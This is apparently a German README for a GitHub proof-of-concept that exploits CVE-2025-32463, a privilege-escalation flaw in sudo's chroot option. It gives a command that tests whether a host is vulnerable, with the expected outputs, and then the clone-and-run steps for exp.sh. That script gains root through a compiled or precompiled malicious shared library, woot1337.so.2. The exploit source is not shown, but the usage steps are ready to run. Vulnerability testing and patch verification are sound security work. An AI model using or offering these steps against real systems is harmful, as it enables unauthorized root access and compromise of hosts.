CVE-2025-32463_chwoot

Englisches Dokument

Haftungsausschluss: Dieses Skript ist nur für Sicherheitstests. Bitte nicht für illegale Zwecke verwenden. CVE-2025-32463 - Verifikationsskript für die sudo_chwoot-Privilegienausweitungsschwachstelle

Beschreibung

Im Vergleich zu anderen POC im Internet, unter Berücksichtigung, dass einige Hosts kein gcc installiert haben und die Compiler-Umgebung fehlt, unterstützt dieses Skript zwei Szenarien:

• Host hat gcc installiert, das Skript wird automatisch die Binärdatei kompilieren und die Rechte ausweiten
• Host hat kein gcc installiert, das Skript ruft die bereits kompilierte Binärdatei auf, um die Rechte auszuweiten

Verwendung

Überprüfen, ob die Schwachstelle vorhanden ist:

sudo -R woot woot

Ergebnis bei vorhandener Schwachstelle:

sudo: woot: No such file or directory

Ergebnis bei nicht vorhandener Schwachstelle:

sudo: you are not permitted to use the -R option with woot

Wenn die Schwachstelle existiert, verwenden Sie den POC zur Rechteausweitung:

git clone https://github.com/Yuy0ung/CVE-2025-32463_chwoot.git
cd CVE-2025-32463_chwoot
chmod +x ./exp.sh
./exp.sh

Dateiliste

Der Inhalt der Dateien ist wie folgt:

• README.md: README-Datei
• exp.sh: POC-Skript
• woot1337.so.2: Kompilierte Binärdatei